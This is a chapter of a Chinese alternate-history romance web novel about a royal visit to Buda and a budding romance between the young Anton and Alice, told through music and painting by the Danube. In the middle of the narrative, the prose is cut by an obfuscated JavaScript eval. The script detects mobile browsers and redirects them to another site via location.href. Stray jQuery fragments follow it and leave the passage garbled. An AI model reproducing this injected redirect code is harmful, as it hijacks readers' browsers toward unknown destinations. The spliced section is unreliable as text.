当列车缓缓驶入被夕阳镀成金色的布达时,整个多瑙河畔仿佛都屏住了呼吸。
布达城堡上,曾经肃杀的奥地利双头鹰旗帜,如今更像是某种装饰,因为那面绣着红白绿三色、中间还加了个特殊的“安茹百合”徽记(大公家的自制徽)的匈牙利大公旗,正迎着自由的风,飘得那叫一个得瑟。
这就是被全欧洲称为“最不听话、但又很有钱”的——史蒂芬大公的“半独立王国”。
……
城堡前。
“呜——!”蒸汽不仅是火车的,还有早早等候在平台上,正冒着热气的咖啡和烤肉。
史蒂芬大公虽然步入中年,但那种优雅的儒雅气质丝毫未减,甚至因为掌控一国,多了一种从容的王者之气。他身边,奥尔加王妃,这次穿上了一身利落的、带有匈牙利精美刺绣的骑马装。
他们身后是一个看起来就很腼腆的英俊少年——弗兰茨·安东。
“妈妈!”长女小玛丽蹦蹦跳跳地跑了过来,“她们到了吗?”
话音刚落。
两道倩影从马车上走了下来(火车站离宫殿还有段距离,毕竟这是为了仪式感)。
维琪,一身黑色镶金边的旅行斗篷,走路带风;而慢一步的爱丽丝,则穿着淡紫的小礼裙,微低着头,那份精致和书卷气,宛如一朵静静盛开的幽兰。
“奥莉小姨!姨夫!”维琪大大方方地上前拥抱,“这么久不见,您两位的气色简直比我还好啊!”
“哪有哪有,都是瞎忙活。”史蒂芬大公乐呵呵地回抱,然后看了一眼旁边那个脸已经红到耳朵根的好大儿。
“咳咳……安东,还不快……去帮爱丽丝姐姐提一下东西?”
“啊!是!”
小安东如梦初醒,慌手慌脚地跑过去。
两人再见,四目相对。
爱丽丝看着这个几年不见的笔友少年。他的金发在风中微乱,眼睛也是自己家不具有的、属于奥尔加和史蒂芬混合出来的那种特有的……深苔绿色。
“你……你好,公主殿下。”安东的声音有点紧,“一路上……辛苦了。我那个天鹅……它等你很久了(什么鬼话)。”
但爱丽丝却笑了。那是一种找到了“同类”的、毫无防备的笑。
“没关系。它没飞走就好。”她把手中的画架轻轻递给他,“不过,那只天鹅……它会摆姿势吗?”
……
当天下午,多瑙河边的花园里。
长辈和小辈们在露台上喝茶叙旧。
维琪王妃一边往嘴里塞着核桃蛋糕,一边跟奥尔加吐槽普鲁士的军营有多脏,还时不时用“这叫**投资”来解答小姨关于“你为什么要给公公送钢管”的疑问,听得奥尔加直摇头。
而在草坪另一头那架特意刚搬出来的、纯白色的三角钢琴旁。
一场只属于两个人的“演出”正在开始。
安东坐在琴凳上,修长的手指微微有些颤抖。
“这……这是我最近写的曲子。”他声音很小,但很真诚,“名字叫《雾都的倒影》。”
爱丽丝靠在钢琴边,手里还在那张巨大的画纸上勾勒着远处河水的线条。
“弹吧。”她轻声鼓励,也没说是为谁写的。
“当——”
琴声响起的瞬间,周围那种属于贵族的喧嚣仿佛都消失了。
这段旋律没有李斯特那么狂暴,也没有莫扎特那么欢快。
有一种……淡淡的、带着那种伦敦特有的朦胧感的愁绪。每一个音符,都像是雨滴落在青石板上的回响。
好听,且深情。
在不远处观战(吃瓜)的维琪,听得连叉子上的蛋糕都忘了吃。
“这家伙……”维琪瞪大了眼,用手肘捅了捅旁边的史蒂芬,“姨夫,他真是你亲生的?这水平……都快赶上我妈那个御用宫廷乐师了吧?而且……这曲子里怎么一股子……‘思春’的味道?”
史蒂芬“噗嗤”一笑,差点呛到,但他眼里满是骄傲:“遗传!这绝对是遗传!”
而在钢琴旁。
一曲终了。
爱丽丝停下了画笔。
她看着安东那还沉浸在音乐余韵中的侧脸,又看了看自己画了一半的画。
画上,是一只孤单地、高傲地游在多瑙河上的白天鹅,它的倒影里,映着一座隐约可见的……大本钟。
“安东……”
她轻轻叫了一声。
“嗯?”安东回过头,额发上还有汗。
“我决定了。”
爱丽丝拿起画,递到他面前。
“这只天鹅,它不能叫普通的天鹅。”
爱丽丝指了指那只被她画得有些“狂乱”(印象派?)、但充满生命力的鸟。
“我要叫它……‘梵高’。”
“梵高?”安东一愣,显然对这个名字(林亚瑟讲过这个荷兰画家的故事但别人不知道,他现在还是个小屁孩)很陌生。
“嗯。”爱丽丝那双大眼睛亮晶晶的,“爸爸说过,那是一个……很爱很爱画画,爱到把自己的耳朵都切下来送给喜欢的人的……疯子。”
“你……”安东下意识捂住耳朵。
“不是不是!”爱丽丝掩嘴而笑,“我是说……你刚才弹琴的时候,那种感觉……就像他。就像是……”
她想了半天,红着脸憋出一句:
“就像是要把心,都从那个琴箱里……挖出來送给人看一样。”
这句话杀伤力太大了!
安东感觉自己的脸“腾”地一下烧成了火烧云。
被心上人看穿,还夸得这么……“血腥且浪漫”,这简直是……
“我……我愿意(把心给你)!”他脱口而出。
然后瞬间意识到不对,赶紧改口:“我是说……那幅画……我想收藏!还有,如果你喜欢……那只真鹅我也去给你捉来!!!”
不远处,维琪一边疯狂給自己扇风一边吐槽:
“天哪……这也太酸了!我这牙都要倒了!比我跟腓特烈当年还肉麻!”
“不过嘛……”
她看着妹妹脸上那种前所未有的、轻松而甜蜜的红晕。
“这次……看来是稳了。”
多瑙河的水静静流淌。带走了战火的硝烟,只留下了这段比宫廷阴谋更纯粹的、关于“艺术与爱”的小插曲。
……
安东和爱丽丝这俩“艺术生”的恋爱,跟别人不一样。
普通人恋爱是逛街吃饭,他俩是……“考古”。
那之后的几天,布达和佩斯简直成了他们的大型露天教室。
“那个,”安东指着多瑙河边那座已经有些陈旧、但依然坚固无比的石桌,眼神里闪烁着一种“我家有传说”的自豪。
“听说,六十年前……我的祖父,为了能让她的发妻,来自俄罗斯帝国的女大公——亚历山德拉·巴甫洛夫娜看得清河对岸的日出,特意命人在这里,凿了这张桌子。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977135|185649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他扶着那冰凉的石面,仿佛能感受到石头纹理里残留的、属于上一辈人的温热和遗憾。
“祖父和她就喜欢坐在这里画画。就像你一样。”
爱丽丝的手指,轻抚过石桌边缘几个模糊的刻字——那是约瑟夫大公亲手刻的一句诗(虽然字迹已经很难辨认):
“只为您,星辰常在。”
“真美啊……”爱丽丝的眼眶微微湿润,“但是听说……他们的结局……”
“是有点悲伤。”安东也有些感伤,但他很快扬起年轻的脸庞,露出一个比太阳还暖的微笑,“所以,我父亲告诉我,要更用力地去……抓住现在。”
“嗯,当年我父母来访布达时,就沿着这多瑙河畔走了整整一上午!当时在伦敦的我才3岁呢。上帝啊,我真佩服他们的体力。”
两人笑作一团,那种属于年轻人的无邪,瞬间驱散了历史的沉重。
……
“要不要……来点不一样的?”
安东神秘兮兮从身后一个一直让侍卫小心翼翼背着的琴盒里,取出了一把色泽深沉的——古董小提琴。
“这是……斯特拉迪瓦里?!”爱丽丝作为“器材党”一眼就认出了这把绝世好琴。
“嗯。”安东点点头,眼里是对艺术的敬畏,也是一种想要“孔雀开屏”的渴望,“我练了很久,只为……只为能有一个懂得听的人。”
他架起琴。多瑙河的风,将他的刘海吹乱,也带走了所有多余的杂音。
弓弦相触。
流淌出的,是舒伯特的《小夜曲》。
但被他用一种……更加热烈、更加匈牙利式的吉普车赛风格,重新演绎了。
琴声悠扬,缠绵,在那个黄昏,如泣如诉,又如火如荼。
爱丽丝看着他。那个平时总有点羞涩的男孩,一旦拉起琴来,就仿佛变了一个人。他的眼神专注,他的身体随着旋律摆动,整个人,都在……发光。
这就是她想要的“有趣的灵魂”啊!
不知什么时候。
我们的“电灯泡”——维琪,也按捺不住她那颗躁动的、充满表现欲的心了。
“好哇!好你个安东!”
维琪从旁边的树林里跳出来,手里居然真的提着她那把标志性的吉他(走哪带哪)。
“这《小夜曲》,少了低音部,怎么听都觉得缺点像我这‘女中音’的厚实感啊!”
“来!本王储妃给你——伴奏!”
“好!”安东也不恼,反而眼睛一亮,“加上吉他,那我们就是……”
“就是‘皇家流浪乐团’!”爱丽丝兴奋地在旁边拍手,甚至已经开始用脚尖打起了拍子。
于是。
在这古老而宽阔的多瑙河畔。
那个曾经见证过悲伤别离、也见证过帝王情深的地方。
三个年轻人,一个拉着世界上最贵的小提琴,一个弹着最不着调但最有劲儿的吉他,还有一个,和着节拍,轻轻哼唱着那首没有歌词、却满含深情的曲调。
他们的笑声和乐声,穿透了岁月的尘埃,让对岸佩斯的灯火,仿佛都跟着跳动了起来。
夕阳将他们的影子投在河面上,拉得很长,很长。
就像在告诉那个沉睡的约瑟夫大公和亚历山德拉·巴甫洛夫娜:
看啊。
爱情,从不会消失。
它只是,换了一种更年轻、更鲜活的方式……
重新,回到了这里。